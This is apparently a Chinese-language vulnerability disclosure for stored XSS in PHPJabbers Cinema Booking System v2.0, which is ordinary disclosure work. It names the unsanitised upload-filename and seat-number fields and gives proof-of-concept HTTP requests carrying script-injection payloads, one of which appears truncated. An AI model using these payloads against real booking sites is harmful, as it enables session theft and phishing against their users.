PHPJabbers Cinema Booking System v2.0 中存在存储型跨站脚本（XSS）漏洞，原因在于文件上传字段（event_img、seat_maps）和座位号配置（number[new_X] in pjActionCreate）中的输入未经过滤。攻击者可以注入持久性 JavaScript，导致钓鱼攻击、恶意软件注入和会话劫持。
易受攻击的参数：event_img 和 seat_maps的文件名
存储型XSS比反射型XSS更为严重，因为它会影响所有访问注入内容的用户。它可能被用于持久性钓鱼攻击、会话窃取，或向大量用户注入恶意软件。
Payload：\">
POST /CinemaBookingDev/index.php?controller=pjAdminEvents&action=pjActionCreate HTTP/1.1
Host: 127.0.0.1
Content-Length: 38611
[SNIP]
------WebKitFormBoundaryKOsvqJhAGpZAt33t
Content-Disposition: form-data; name="event_img"; filename="luffy.jpg\">"
Content-Type: image/jpeg
Payload："><script>alert(x)</script>
POST /CinemaBookingDev/index.php?controller=pjAdminVenues&action=pjActionCreate HTTP/1.1
Host: 127.0.0.1
Content-Length: 1812
[SNIP]
------WebKitFormBoundaryip9Mc6LkKna3bpSD
Content-Disposition: form-data; name="seats_count"
11
------WebKitFormBoundaryip9Mc6LkKna3bpSD
Content-Disposition: form-data; name="number[new_1]"
1"><script>alert(1)</script>1
------WebKitFormBoundaryip9Mc6LkKna3bpSD
Content-Disposition: form-data; name="number[new_2]"
2"><script>alert(2)</script>2